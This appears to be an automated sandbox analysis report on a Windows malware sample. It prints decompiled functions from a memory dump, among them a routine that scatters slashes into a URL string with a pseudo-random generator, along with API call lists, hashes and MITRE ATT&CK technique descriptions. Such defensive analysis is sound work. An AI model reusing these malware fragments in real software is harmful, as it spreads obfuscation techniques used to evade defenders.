			E00792708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x79a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x79a2f0; // 0x2e22bab2
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x79a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x00792710
0x00792713
0x00792719
0x00792731
0x00792733
0x00792738
0x0079273a
0x0079273d
0x0079273f
0x00792742
0x00792744
0x00792744
0x00792746
0x00792751
0x00792756
0x00792767
0x0079276f
0x00792774
0x00792777
0x0079277a
0x0079277c
0x0079277f
0x00792782
0x00792782
0x00792785
0x00792790
0x00792795
0x0079279f

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00796708,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 00792713
RtlAllocateHeap.NTDLL(00000000,?), ref: 0079272B
memcpy.NTDLL(00000000,02D29600,-00000008,?,?,?,00796708,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 0079276F
memcpy.NTDLL(00000001,02D29600,00000001,00793ECE,00000000,02D29600), ref: 00792790

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: db725db8db86d2c281d08654ce9a7ec4eab29cbdc8bb3a78617761e3a2007b88
Instruction ID: 6bc588346cb3972f3b4545a781d973f3bf361cb82e0a2aa6de493e1c301f929d
Opcode Fuzzy Hash: db725db8db86d2c281d08654ce9a7ec4eab29cbdc8bb3a78617761e3a2007b88
Instruction Fuzzy Hash: 18115972A00215BFDB109FA9EC89D9E7BFEEBC0360B144176F504D7151E7788E0183A0

Uniqueness

Uniqueness Score: -1.00%

Function 007923C4 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E007923C4(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t28 = E00793A63(_a4, _t26, __edi);
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0x79a348; // 0x258d5a8
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0x79b50c; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0x79b8d8; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E00795B56();
					_push( &_v64);
					if( *0x79a100() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E00795B56();
				}
				return _t28;
			}

0x007923c4
0x007923cb
0x007923d9
0x007923dd
0x007923e7
0x007923ec
0x007923f1
0x007923f6
0x00792400
0x0079240a
0x0079240a
0x00792402
0x00792402
0x00792402
0x00792402
0x00792410
0x00792416
0x00792417
0x0079241a
0x0079241d
0x00792420
0x00792428
0x00792431
0x00792439
0x00792439
0x0079243b
0x0079243d
0x0079243d
0x00792447

APIs

Part of subcall function 00793A63: SysAllocString.OLEAUT32(00000000), ref: 00793ABD
Part of subcall function 00793A63: SysAllocString.OLEAUT32(0070006F), ref: 00793AD1
Part of subcall function 00793A63: SysAllocString.OLEAUT32(00000000), ref: 00793AE3

memset.NTDLL ref: 007923E7
GetLastError.KERNEL32 ref: 00792433

Strings

<, xrefs: 007923F6
E~y, xrefs: 00792429

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AllocString$ErrorLastmemset
String ID: <$E~y
API String ID: 3736384471-1670858808
Opcode ID: d519e092d2c0dcf3e8d4e021d32a60d5f6faca69f3ae411d05e8197391546dda
Instruction ID: 3ce4827c4773dcebd94c49343d926f5442b55817e0120792444ea9ad89576ffa
Opcode Fuzzy Hash: d519e092d2c0dcf3e8d4e021d32a60d5f6faca69f3ae411d05e8197391546dda
Instruction Fuzzy Hash: 3D014471900218BBCB11EFA8E885EDD77F8AB08740F408126F904E7151E7789D058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00797843 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00797843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x0079784d
0x00797851
0x00797866
0x00797868
0x0079786d
0x00797873
0x00797875
0x0079787a
0x00797885
0x0079787c
0x0079787c
0x0079787c
0x0079787a
0x00797893

APIs

memset.NTDLL ref: 00797851
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 00797866
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00797873
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00793F34,00000000,?), ref: 00797885

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 110c174240b64e4b81666bcc3658b649761e96e103eb3a982609850b2916ff1b
Instruction ID: 79939341ebf2eb0a501a7498aa7eddc96ab996f3be71146ee7803093d275edf2
Opcode Fuzzy Hash: 110c174240b64e4b81666bcc3658b649761e96e103eb3a982609850b2916ff1b
Instruction Fuzzy Hash: 18F089B110430C7FE7146F25ECC4C67BB9CEB8129C7114D3EF15291111D679AC05CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00793230 Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00793230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x79a30c; // 0x1ac
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x79a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x79a30c; // 0x1ac
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x79a2d8; // 0x2930000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x00793230
0x00793237
0x00793281
0x00793283
0x00793283
0x0079323b
0x00793241
0x00793246
0x0079324a
0x00793250
0x00793257
0x00000000
0x00000000
0x00793259
0x0079325e
0x00000000
0x00000000
0x00000000
0x0079325e
0x00793260
0x00793268
0x0079326b
0x0079326b
0x00793271
0x00793278
0x0079327b
0x0079327b
0x00000000

APIs

SetEvent.KERNEL32(000001AC,00000001,0079109A), ref: 0079323B
SleepEx.KERNEL32(00000064,00000001), ref: 0079324A
CloseHandle.KERNEL32(000001AC), ref: 0079326B
HeapDestroy.KERNEL32(02930000), ref: 0079327B

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 5c207b0f725161de17cdaac14c67056f77ac48f4dbdc9aa9292d4771f6cddfea
Instruction ID: 42f38865e5610a036bd881055b290d5c2f4231107f8c28fe386a9f022a0291fd
Opcode Fuzzy Hash: 5c207b0f725161de17cdaac14c67056f77ac48f4dbdc9aa9292d4771f6cddfea
Instruction Fuzzy Hash: 12F03075B01312A7FF205B3DAD89A4637E8BB04761B048216BD11E32E1DB2CD94286A4

Uniqueness

Uniqueness Score: -1.00%

Function 0079607C Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0079607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x79a3cc; // 0x2d29600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x79a3cc; // 0x2d29600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x79a3cc; // 0x2d29600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x79b142) {
					HeapFree( *0x79a2d8, 0, _t10);
					_t7 =  *0x79a3cc; // 0x2d29600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0079607c
0x00796085
0x00796095
0x00796095
0x0079609a
0x0079609f
0x00000000
0x00000000
0x0079608f
0x0079608f
0x007960a1
0x007960a6
0x007960aa
0x007960bd
0x007960c3
0x007960c3
0x007960cc
0x007960ce
0x007960d2
0x007960d8

APIs

RtlEnterCriticalSection.NTDLL(02D295C0), ref: 00796085
Sleep.KERNEL32(0000000A), ref: 0079608F
HeapFree.KERNEL32(00000000), ref: 007960BD
RtlLeaveCriticalSection.NTDLL(02D295C0), ref: 007960D2

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 2d0d30fb9a220ec8ddc401fcaba40e769f1ad5b81f2c8dd20e866cdf06ab6cde
Instruction ID: 6c1bb4fc26cefd157cae319390401c003e5b8ed742ed8ea7cd719d2782ec7ff9
Opcode Fuzzy Hash: 2d0d30fb9a220ec8ddc401fcaba40e769f1ad5b81f2c8dd20e866cdf06ab6cde
Instruction Fuzzy Hash: A6F0FE74201202AFEB14CF6DEC89E1577B5EB44701B04C11AE912C73B0D73DAC46DA59

Uniqueness

Uniqueness Score: -1.00%

Function 00792058 Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00792058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E007933DC(_t2);
				if(_t34 != 0) {
					_t30 = E007933DC(_t28);
					if(_t30 == 0) {
						E007961DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E00797AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E00797AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x00792058
0x00792062
0x00792064
0x0079206a
0x0079206a
0x00792073
0x00792077
0x00792083
0x00792087
0x007920fb
0x00792089
0x00792089
0x0079208d
0x00792092
0x00792097
0x007920b1
0x007920a0
0x007920a0
0x007920a4
0x007920a7
0x007920ac
0x007920ac
0x007920b6
0x007920de
0x007920e4
0x007920e7
0x007920b8
0x007920ba
0x007920c2
0x007920cd
0x007920d2
0x007920d2
0x007920ee
0x007920f5
0x007920f6
0x007920f6
0x00792087
0x00792106

APIs

lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,007951F7,?,?,?,?,00000102,007921E7,?,?,74CF81D0), ref: 00792064

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

Part of subcall function 00797AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00792092,00000000,00000001,00000001,?,?,007951F7,?,?,?,?,00000102), ref: 00797AF7
Part of subcall function 00797AE9: StrChrA.SHLWAPI(?,0000003F,?,?,007951F7,?,?,?,?,00000102,007921E7,?,?,74CF81D0,00000000), ref: 00797B01

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,007951F7,?,?,?,?,00000102,007921E7,?), ref: 007920C2
lstrcpy.KERNEL32(00000000,00000000), ref: 007920D2
lstrcpy.KERNEL32(00000000,00000000), ref: 007920DE

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 07bc1c8486155f168467272bd5d1ffdf1d3c23a4802b88ed20ab7d2187c4fef6
Instruction ID: 224b30c030c0fcb6fdaf2b6407268a9a8b0835428f2a93d701c98ee5a4a34253
Opcode Fuzzy Hash: 07bc1c8486155f168467272bd5d1ffdf1d3c23a4802b88ed20ab7d2187c4fef6
Instruction Fuzzy Hash: 8221C03250425AFBCF12AF7CEC49BAE7FB8AF05390B148055F9059B212D639DA02C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00795DE4 Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00795DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E007933DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x00795df9
0x00795dfd
0x00795e07
0x00795e0c
0x00795e11
0x00795e13
0x00795e1b
0x00795e20
0x00795e2e
0x00795e33
0x00795e3d

APIs

lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,02D29270,?,007952D0,004F0053,02D29270,?,?,?,?,?,?,007968B6), ref: 00795DF4
lstrlenW.KERNEL32(007952D0,?,007952D0,004F0053,02D29270,?,?,?,?,?,?,007968B6), ref: 00795DFB

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,007952D0,004F0053,02D29270,?,?,?,?,?,?,007968B6), ref: 00795E1B
memcpy.NTDLL(74CB69A0,007952D0,00000002,00000000,004F0053,74CB69A0,?,?,007952D0,004F0053,02D29270), ref: 00795E2E

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 511191b781c8ce29da96305bdbb5dd8d159541e50f11aa560c583d3a25bec18f
Instruction ID: 0768a030ca4a52a33b5507c2e77e2a64f2a275d9397323ddf6dd3d7968dd0c69
Opcode Fuzzy Hash: 511191b781c8ce29da96305bdbb5dd8d159541e50f11aa560c583d3a25bec18f
Instruction Fuzzy Hash: 63F03C36900129FB8F119FA8DC49C8E7BADEF082547114062B91497101E635EA118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00797563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02D29C10,00000000,00000000,00000000,00793EF9,00000000), ref: 00797573
lstrlen.KERNEL32(?), ref: 0079757B

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

lstrcpy.KERNEL32(00000000,02D29C10), ref: 0079758F
lstrcat.KERNEL32(00000000,?), ref: 0079759A

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 7df0d6115a980428de889bb1747e6b190e5c791b73f87883c77a4e71b3066265
Instruction ID: fb518aad0a9eff6d7a46ddeac06a534c7f5e25792d49ae78b36f59dc7be2ae67
Opcode Fuzzy Hash: 7df0d6115a980428de889bb1747e6b190e5c791b73f87883c77a4e71b3066265
Instruction Fuzzy Hash: 15E09233501621AB8F115BACAC48C6FBBACFF89650704441BF710D3210C739D912CBE9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

